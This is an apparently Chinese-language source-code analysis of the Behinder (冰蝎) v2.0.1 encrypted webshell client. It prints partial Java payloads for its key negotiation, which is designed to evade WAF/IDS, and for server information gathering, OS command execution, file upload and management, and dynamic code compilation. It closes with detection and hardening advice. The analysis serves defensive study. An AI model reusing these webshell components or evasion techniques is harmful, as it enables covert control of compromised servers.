冰蝎v2.0.1核心部分源码浅析
字数 1548 2025-08-22 12:23:36
冰蝎v2.0.1核心部分源码分析与技术解析
0x01 为什么要分析冰蝎
冰蝎是一种新型的木马连接工具,具有以下特点:
- 功能强大:获取服务器信息、执行系统命令、文件管理、数据库管理、反弹meterpreter、执行自定义代码等
- 流量加密:与菜刀、蚁剑相比,加密了通信流量
- 检测困难:仅在初始上传和密钥协商阶段可能被检测,连接建立后WAF/IDS/IPS难以识别
0x02 整体架构
冰蝎的工作流程:
- 客户端请求服务端
- 服务端生成128位随机数写入session并返回
- 客户端重复获取key直到满足特定条件
- 确定最终key并保存响应报文中的set-cookie值
- 后续通信使用该key和cookie进行加密传输
0x03 密钥协商机制 getKeyAndCookie
密钥协商流程
- 客户端调用
BasicInfoUtils.getBasicInfo() - 创建
ShellService实例 - 调用
Utils.getKeyAndCookie()方法
关键代码分析
public static Map<String, String> getKeyAndCookie(String getUrl, String password, Map<String, String> requestHeaders) throws Exception {
// 初始化连接
URL url = new URL(getUrl + "?" + password + "=" + (new Random()).nextInt(1000));
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
// 获取初始密钥rawKey_1
String rawKey_1 = sb.toString();
// 循环获取密钥直到满足条件
while(true) {
Map<String, String> KeyAndCookie = getRawKey(getUrl, password, requestHeaders);
String rawKey_2 = (String)KeyAndCookie.get("key");
byte[] temp = CipherUtils.bytesXor(rawKey_1.getBytes(), rawKey_2.getBytes());
// 计算start和end索引
if (end - start == 16) {
String finalKey = new String(Arrays.copyOfRange(rawKey_2.getBytes(), start, end));
result.put("key", finalKey);
return result;
}
}
}
密钥协商特点
- 服务端木马检查pass参数,连接密码必须为"pass"
- 使用多次请求获取密钥,动态控制请求次数
- 最终密钥是最后一次获取的rawKey_2的一部分
- 设计目的可能是绕过WAF/NIDS的检测特征
0x04 获取服务器基本信息 getBasicInfo
执行流程
- 调用
ShellService.getBasicInfo() - 使用
Utils.getData()加密payload - 通过
Utils.requestAndParse()发送请求 - 解密并处理返回数据
关键payload分析
BasicInfo类在服务端执行的核心方法:
public boolean equals(Object obj) {
PageContext page = (PageContext)obj;
// 获取环境变量和系统属性
Map<String, String> env = System.getenv();
Properties props = System.getProperties();
// 获取当前路径和驱动器列表
String currentPath = (new File("")).getAbsolutePath();
File[] roots = File.listRoots();
// 构建返回数据
Map<String, String> entity = new HashMap();
entity.put("basicInfo", basicInfo.toString());
entity.put("currentPath", currentPath);
entity.put("driveList", driveList);
entity.put("osInfo", osInfo);
// 加密返回数据
String key = page.getSession().getAttribute("u").toString();
ServletOutputStream so = page.getResponse().getOutputStream();
so.write(Encrypt(result.getBytes(), key));
}
数据传输过程
- 客户端生成payload字节数组
- AES加密+Base64编码
- 服务端执行后返回加密数据
- 客户端解密+Base64解码显示
0x05 命令执行功能 runCmd
执行流程
CmdUtil调用ShellService.runCmd()- 使用
Utils.getData()获取加密payload - 通过
Utils.requestAndParse()发送请求 - 解密并显示执行结果
关键payload分析
Cmd类在服务端执行的核心方法:
private String RunCMD(String cmd) throws Exception {
String result = "";
Process p;
// 区分Windows和Linux执行命令
if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
} else {
p = Runtime.getRuntime().exec(cmd);
}
// 读取命令输出
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
while((disr = br.readLine()) != null) {
result = result + disr + "\n";
}
return result;
}
0x06 文件管理功能 FileOperation
主要功能
- 文件列表(list)
- 文件查看(show)
- 文件删除(delete)
- 文件创建(create)
- 目录创建(createDir)
- 内容追加(append)
- 文件下载(download)
关键实现
// 文件列表
private String list(PageContext page) throws Exception {
File f = new File(path);
List<Map<String, String>> objArr = new ArrayList();
if (f.isDirectory()) {
for (File temp : f.listFiles()) {
Map<String, String> obj = new HashMap();
obj.put("type", temp.isDirectory() ? "directory" : "file");
obj.put("name", temp.getName());
// 其他文件属性...
objArr.add(obj);
}
}
return this.buildJsonArray(objArr, true);
}
// 文件上传
private String create(PageContext page) throws Exception {
FileOutputStream fso = new FileOutputStream(path);
fso.write((new BASE64Decoder()).decodeBuffer(content)); // Base64解码内容
fso.close();
return path + "上传完成,远程文件大小:" + (new File(path)).length();
}
0x07 自定义代码执行 eval
特殊之处
不同于其他功能使用预定义payload,eval功能允许执行用户自定义代码:
public String eval(String sourceCode) throws Exception {
byte[] payload;
if (this.currentType.equals("jsp")) {
// 动态编译用户代码
payload = Utils.getClassFromSourceCode(sourceCode);
} else {
payload = sourceCode.getBytes();
}
byte[] data = Utils.getEvalData(this.currentKey, this.encryptType, this.currentType, payload);
Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
return new String(resultObj.get("data"));
}
动态编译实现
public static byte[] getClassFromSourceCode(String sourceCode) throws Exception {
// 使用JavaCompiler动态编译源代码
JavaCompiler jc = ToolProvider.getSystemJavaCompiler();
StandardJavaFileManager fileManager = jc.getStandardFileManager(null, null, null);
// 编译选项设置为Java 1.6
List<String> options = new ArrayList();
options.add("-source");
options.add("1.6");
options.add("-target");
options.add("1.6");
// 执行编译
CompilationTask cTask = jc.getTask(null, fileManager, collector, options, null, Arrays.asList(javaFileObject));
boolean result = cTask.call();
// 获取编译后的字节码
JavaFileObject fileObject = CustomClassloaderJavaFileManager.fileObjects.get(cls);
return ((MyJavaFileObject)fileObject).getCompiledBytes();
}
0x08 防御与检测建议
检测思路
-
初始阶段检测:
- 监控带有特定参数(pass)的请求
- 识别多次密钥协商请求模式
-
流量特征:
- 识别AES加密+Base64编码的数据包
- 分析POST请求的Content-Type为"application/octet-stream"
-
行为检测:
- 监控非常规的文件操作序列
- 检测动态类加载行为
防御措施
-
服务器加固:
- 严格限制上传文件类型和位置
- 禁用不必要的Java编译功能
-
网络防护:
- 部署能识别加密WebShell的WAF
- 实施严格的出入站流量监控
-
日志分析:
- 记录所有文件系统操作
- 监控异常进程创建行为
技术总结
冰蝎v2.0.1的核心技术特点:
- 动态密钥协商机制增强隐蔽性
- 所有通信内容AES加密+Base64编码
- 使用ASM框架动态修改class文件
- 支持多种功能模块的插件式扩展
- 提供自定义代码执行能力
理解冰蝎的工作原理对于红队提升渗透能力,蓝队增强防御检测都具有重要意义。